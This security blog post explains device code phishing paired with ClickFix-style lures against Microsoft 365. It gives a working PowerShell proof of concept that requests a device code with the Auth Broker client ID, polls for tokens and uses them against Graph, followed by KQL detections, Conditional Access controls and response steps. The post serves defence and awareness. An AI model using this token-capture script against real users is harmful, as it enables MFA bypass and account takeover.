top of page

Device Code Phishing Meets ClickFix

  • Writer: Damien van der Linden
    Damien van der Linden
  • Mar 12
  • 10 min read

If you've been following threat intelligence lately, you've seen a massive surge in device code phishing campaigns. Russian-linked threat actor Storm-2372, financially motivated groups like TA2723, and multiple other clusters have been weaponizing Microsoft's legitimate OAuth 2.0 device authorization grant flow to hijack M365 accounts,and they're combining it with ClickFix-style social engineering to make it devastatingly effective.


In this post, I'll break down exactly how this attack works, show you a safe demo you can run in your own tenant, provide KQL detection queries for Microsoft Sentinel, and walk through the Conditional Access policies that stop it cold.


What Is Device Code Flow?

Device code flow (RFC 8628) is an OAuth 2.0 authentication mechanism designed for input-constrained devices; think smart TVs, IoT devices, or CLI tools that don't have a browser. The idea is simple: the device displays a short code, you go to microsoft.com/devicelogin on a separate device, enter the code, authenticate, and the original device receives your tokens.

It's used legitimately by tools like the Azure CLI (az login), Microsoft Graph PowerShell, and Teams Room devices. The problem? The authentication is completely decoupled from the device requesting it. There's nothing tying the code to a specific device, whoever initiated the flow gets the tokens once someone authenticates.


The Attack: Device Code Phishing + ClickFix


Here's the attack flow step-by-step:


1. Attacker initiates device code flow The attacker sends a simple HTTP request to Microsoft's /devicecode endpoint. No authentication needed. They receive a device_code, a user_code, and a verification_uri. The code is valid for about 15 minutes.


2. Social engineering delivery (ClickFix pattern) The attacker presents this code to the victim via a phishing page (often spoofing SharePoint, OneDrive, or Teams). The ClickFix pattern is key here: the page instructs the victim to copy a "verification code" and paste it into a legitimate Microsoft page. The victim is essentially being told to perform a series of manual steps that feel like a normal security workflow.


3. Victim authenticates on the real Microsoft page The victim goes to login.microsoftonline.com/common/oauth2/deviceauth, enters the code, and completes full authentication including MFA. Everything happens on Microsoft's legitimate infrastructure. The victim sees the real Microsoft login page, the real MFA prompt, everything.


4. Attacker receives tokens The attacker's script has been polling the /token endpoint. Once the victim completes auth, the attacker receives an access_token and a refresh_token. The refresh token is valid for up to 90 days and can be used to request access tokens for any resource, Outlook, SharePoint, Teams, Graph API, you name it.


Why This Is So Dangerous


  • Bypasses MFA completely — the victim does the MFA for the attacker

  • No phishing infrastructure needed — no fake login pages, no certificate management

  • Everything happens on legitimate Microsoft domains — URL-based detection is blind

  • Refresh tokens provide persistent access — 90 days of access without re-authentication

  • Token can be refreshed to different audiences — one phish grants access to multiple services


Real-World Example


The screenshot above shows exactly this attack in action. Let's break it down:


Left side — The lure page:

  • Hosted on non-Microsoft domain

  • Spoofs SharePoint with "Access shared document" messaging

  • Presents the attacker's device code: F2T8FMRL3

  • Uses the ClickFix pattern: "Copy the code → Click continue → Sign in"

  • "Continue to Microsoft" button redirects to the real device login page


Right side — The legitimate Microsoft page:

  • Real URL: login.microsoftonline.com/common/oauth2/deviceauth

  • Microsoft even warns in Dutch: "Voer geen codes in uit bronnen die u niet vertrouwt" (Don't enter codes from sources you don't trust)

  • But the victim is primed by the fake SharePoint page to enter the code

Once the victim enters the code and authenticates, the attacker's polling script silently captures the tokens. Game over.

Safe Demo: Simulating the Attack in Your Own Tenant

Important: Only perform this in a test/lab tenant or against accounts you own. This is for educational purposes and security validation.

You can demonstrate this with nothing more than PowerShell and your M365 tenant. Here's a minimal proof-of-concept:


Step 1: Request a Device Code

# Request a device code using the Microsoft Authentication Broker client ID
# This is the SAME client ID that Storm-2372 shifted to in Feb 2025
# The Auth Broker is the app that handles authentication for all Microsoft
# first-party apps — it's trusted at a deep OS level and preauthorized everywhere
$body = @{
    client_id = "29d9ed98-a469-4536-ade2-f981bc1d605e"  # Microsoft Auth Broker (Storm-2372)
    scope     = "https://graph.microsoft.com/User.Read offline_access"
}

$deviceCodeResponse = Invoke-RestMethod `
    -Method POST `
    -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" `
    -Body $body

# Display the user code
Write-Host "User Code: $($deviceCodeResponse.user_code)" -ForegroundColor Yellow
Write-Host "Go to: $($deviceCodeResponse.verification_uri)" -ForegroundColor Cyan
Write-Host "Code expires in: $($deviceCodeResponse.expires_in) seconds" -ForegroundColor Gray

This gives you output like:

User Code: G7QJ-P9T3
Go to: https://microsoft.com/devicelogin
Code expires in: 900

Step 2: Poll for Tokens (Attacker's Perspective)

In the real attack, the attacker would be running this polling loop while they wait for the victim to authenticate:

# Poll for token completion
$tokenBody = @{
    grant_type  = "urn:ietf:params:oauth:grant-type:device_code"
    client_id   = "29d9ed98-a469-4536-ade2-f981bc1d605e"
    device_code = $deviceCodeResponse.device_code
}

$polling = $true
while ($polling) {
    try {
        $tokenResponse = Invoke-RestMethod `
            -Method POST `
            -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" `
            -Body $tokenBody
        
        Write-Host "`n[!] TOKEN RECEIVED!" -ForegroundColor Red
        Write-Host "Access Token (first 50 chars): $($tokenResponse.access_token.Substring(0,50))..." -ForegroundColor Yellow
        Write-Host "Refresh Token present: $($null -ne $tokenResponse.refresh_token)" -ForegroundColor Yellow
        Write-Host "Token Type: $($tokenResponse.token_type)" -ForegroundColor Yellow
        Write-Host "Scope: $($tokenResponse.scope)" -ForegroundColor Yellow
        
        $polling = $false
    }
    catch {
        $error_detail = $_.ErrorDetails.Message | ConvertFrom-Json
        if ($error_detail.error -eq "authorization_pending") {
            Write-Host "." -NoNewline
            Start-Sleep -Seconds 5
        }
        elseif ($error_detail.error -eq "expired_token") {
            Write-Host "`n[x] Device code expired. User did not authenticate in time." -ForegroundColor Red
            $polling = $false
        }
        else {
            Write-Host "`n[x] Error: $($error_detail.error_description)" -ForegroundColor Red
            $polling = $false
        }
    }
}

Step 3: Authenticate as the "Victim"

Now open a browser, go to https://microsoft.com/devicelogin, and enter the user code from Step 1. Sign in with a test account; you will need to complete MFA. This is the critical part: the victim completes the full authentication flow including MFA on the legitimate Microsoft page, and the attacker's polling script in Step 2 silently captures the resulting tokens. The MFA claim is baked into the token. The attacker never needed the victim's MFA device because the victim did it for them.


When you see "Microsoft Authentication Broker" in the consent prompt then that's the same client ID Microsoft flagged Storm-2372 shifting to in their February 2025 update. The Auth Broker is the app that handles brokered authentication for all Microsoft first-party apps at the OS level. It's trusted by default in every tenant and can't be blocked via app consent policies.


Step 4: Use the Token (Proving Access)


# Confirm whose identity we captured
$headers = @{
    Authorization = "Bearer $($tokenResponse.access_token)"
}

$me = Invoke-RestMethod `
    -Uri "https://graph.microsoft.com/v1.0/me" `
    -Headers $headers

Write-Host "`n[!] IDENTITY COMPROMISED" -ForegroundColor Red
Write-Host "  Display Name : $($me.displayName)" -ForegroundColor Yellow
Write-Host "  Email        : $($me.mail)" -ForegroundColor Yellow
Write-Host "  UPN          : $($me.userPrincipalName)" -ForegroundColor Yellow
Write-Host "  Job Title    : $($me.jobTitle)" -ForegroundColor Yellow
Write-Host "  Office       : $($me.officeLocation)" -ForegroundColor Yellow
Write-Host "  Mobile       : $($me.mobilePhone)" -ForegroundColor Yellow

# The attacker also has a refresh token valid for up to 90 days
Write-Host "`n[!] Refresh token captured — persistent access for up to 90 days" -ForegroundColor Red
Write-Host "  Token (first 50 chars): $($tokenResponse.refresh_token.Substring(0,50))..." -ForegroundColor DarkYellow
We did it, we hacked Dunder Mifflin!
We did it, we hacked Dunder Mifflin!

Even with just User.Read, the attacker now has a valid refresh token and has proven they own the victim's identity. But the real impact depends on two factors: who gets phished and how the tenant is configured.


If the victim is a Global Admin or Privileged Role Admin, the attacker can request scopes like Mail.Read, Files.ReadWrite.All, Chat.Read, Directory.Read.All, or even RoleManagement.ReadWrite.Directory, because admin accounts can consent to any permission. One phished admin = full tenant compromise.


If the tenant doesn't restrict user consent (the default in many organizations), even regular users can consent to dangerous delegated permissions like Mail.Read, Files.ReadWrite.All, and Contacts.Read,giving the attacker access to emails, OneDrive, and address books without any admin involvement.


In hardened tenants (like those managed by an MSSP), user consent is typically restricted to admin-approved permissions only. This is actually a strong defensive layer, our demo was limited to User.Read precisely because the test tenant has this configured correctly. This is what good security looks like.


However, the refresh token alone is still valuable. Depending on the FOCI (Family of Client IDs) configuration, the attacker can exchange it for tokens scoped to other first-party Microsoft apps. The Secureworks Family of Client IDs research documents how a single refresh token from one FOCI app can be redeemed as any other family member. And with the Auth Broker client ID specifically, Dirk-jan Mollema demonstrated that the attacker can potentially escalate to Primary Refresh Token (PRT) phishing and device registration — enrolling a rogue device in Entra ID that persists even after token revocation.

Bottom line: In a poorly configured tenant, this single phish gives the attacker access to everything. In a hardened tenant, it still compromises the identity and opens the door to persistence via PRT abuse. Either way, the Conditional Access policy blocking device code flow is your strongest control.
Note: The demo above is a minimal PoC suitable for internal security awareness.

Detection with KQL in Microsoft Sentinel

Device code flow authentication leaves clear traces in the sign-in logs. Here are the queries I use.

1. Baseline: Find All Device Code Flow Usage

Before creating detections, understand your environment. This baseline pattern (AuthenticationProtocol == "deviceCode") is widely used across the community — you'll find it in Jeffrey Appel's blog, Cloudbrothers, and Microsoft's own documentation. I've expanded it with additional summarization:

SigninLogs
| where TimeGenerated > ago(90d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == 0
| summarize
    Count = count(),
    LastSeen = max(TimeGenerated),
    Apps = make_set(AppDisplayName)
    by UserPrincipalName, UserDisplayName
| sort by Count desc

If you see unexpected users or apps here, you may already have a problem.


2. Detect Suspicious Device Code Sign-Ins

This approach is based on reprise99's Sentinel-Queries which uses a historical lookback to identify new UserPrincipalNames triggering this flow, users who haven't done device code auth in the last 30 days suddenly doing so is a strong signal:


let known_dcf_users = SigninLogs
| where TimeGenerated between(ago(30d) .. ago(1d))
| where AuthenticationProtocol == "deviceCode"
| where ResultType == 0
| distinct UserPrincipalName;
// Find new users doing device code flow not seen in the last 30 days
SigninLogs
| where TimeGenerated > ago(1d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == 0
| where UserPrincipalName !in (known_dcf_users)
| project
    TimeGenerated,
    UserPrincipalName,
    AppDisplayName,
    IPAddress,
    Location = tostring(LocationDetails.city),
    Country = tostring(LocationDetails.countryOrRegion),
    DeviceDetail,
    UserAgent,
    RiskLevelDuringSignIn,
    ConditionalAccessStatus

3. Storm-2372 Specific: Device Code + Microsoft Auth Broker

This detection is based on Joe Stocker's research and Microsoft's Storm-2372 blog update, which documented Storm-2372 shifting to the Microsoft Authentication Broker client ID. This specific combination is highly suspicious and should generate an alert in any environment:

SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationProtocol == "deviceCode"
| where AppId == "29d9ed98-a469-4536-ade2-f981bc1d605e"  // Microsoft Auth Broker
| where ResultType == 0
| project
    TimeGenerated,
    UserPrincipalName,
    IPAddress,
    Location = tostring(LocationDetails.city),
    Country = tostring(LocationDetails.countryOrRegion),
    UserAgent,
    DeviceDetail,
    RiskLevelDuringSignIn,
    ConditionalAccessStatus
Pro tip: If you ran the demo in your own tenant, you should see your test sign-in in this query. That's a great way to validate the detection works before deploying it as an analytic rule.

4. Defender XDR: Users Clicking Device Login URLs

This query is adapted from Microsoft's Storm-2372 threat intelligence blog, where they published Defender XDR hunting queries. If you're running Defender for Office 365, this detects users who clicked on links pointing to the device login page; the telltale sign of a device code phishing email:


UrlClickEvents
| where Timestamp > ago(7d)
| where ActionType in ("ClickAllowed", "UrlScanInProgress", "UrlErrorPage")
    or IsClickedThrough != "0"
| where UrlChain has_any (
    "microsoft.com/devicelogin",
    "login.microsoftonline.com/common/oauth2/deviceauth"
    )
| project
    Timestamp,
    AccountUpn,
    Url,
    UrlChain,
    ActionType,
    NetworkMessageId

Prevention: Conditional Access Policies

The most effective mitigation is blocking device code flow entirely via Conditional Access.


Block Device Code Flow for All Users

  1. Go to Entra ID → Protection → Conditional Access → Policies

  2. Create a new policy

  3. Users: Include All Users (exclude break-glass accounts)

  4. Target resources: All cloud apps

  5. Conditions → Authentication Flows: Set Configure to Yes, select Device code flow

  6. Grant: Block access

  7. Start in Report-only mode first, then switch to On


If You Can't Block It Completely

Some environments legitimately use device code flow (Teams Rooms, IoT devices, CLI tools). In that case:

  • Allow-list approach: Block device code flow for all users, then create exceptions for specific users, device platforms, or named locations (e.g., corporate network only)

  • Require compliant device: Add a grant control requiring device compliance, since the attacker's machine won't be Intune-enrolled, this breaks the attack

  • Require specific network: Limit device code flow to named/trusted locations


KQL to Audit Before Blocking

Run this before enabling the block to identify legitimate usage:

SigninLogs
| where TimeGenerated > ago(90d)
| where AuthenticationProtocol == "deviceCode"
| summarize
    SuccessCount = countif(ResultType == 0),
    FailCount = countif(ResultType != 0),
    Users = make_set(UserPrincipalName),
    IPs = make_set(IPAddress)
    by AppDisplayName
| sort by SuccessCount desc
Note for MSSP environments: When managing 30+ tenants via Azure Lighthouse, consider deploying this Conditional Access policy as a baseline across all tenants. Microsoft has actually started rolling out a managed CA policy that blocks device code flow by default — check under Conditional Access → Policies → Microsoft-managed to see if it's already there.

Response: What To Do If Compromised


If you detect a successful device code phishing attack:


  1. Immediately revoke all refresh tokens for the affected user:

    Revoke-MgUserSignInSession -UserId "user@domain.com"

  2. Check for mail forwarding rules — attackers often set up inbox rules to exfiltrate data or hide their activity

  3. Review OAuth app consents — look for unfamiliar application registrations

  4. Check for new Inbox Rules in Exchange Online:

    CloudAppEvents | where TimeGenerated > ago(7d) | where ActionType == "New-InboxRule" | where AccountObjectId == "<affected_user_object_id>"

  5. Hunt for lateral movement — the attacker may have used the compromised identity to phish other internal users

Key Takeaways

Device code phishing combined with ClickFix social engineering is one of the most effective identity attacks in the current threat landscape. It bypasses MFA, uses legitimate Microsoft infrastructure, and leaves victims completely unaware they've been compromised.

For defenders:

  • Block device code flow via Conditional Access. This is the single most effective control!

  • Deploy the KQL detection queries in Sentinel as analytic rules

  • Include device code phishing in your security awareness training

  • Monitor for the Microsoft Auth Broker client ID in device code flows

For your clients:

  • Audit device code flow usage across all tenants

  • Deploy the CA policy in report-only mode first, then enforce

  • Brief security coaches on this attack pattern for user training

The tools exist. The detections work. The only question is whether you deploy them before or after getting phished.

2025-2026 LindenSec | ©
bottom of page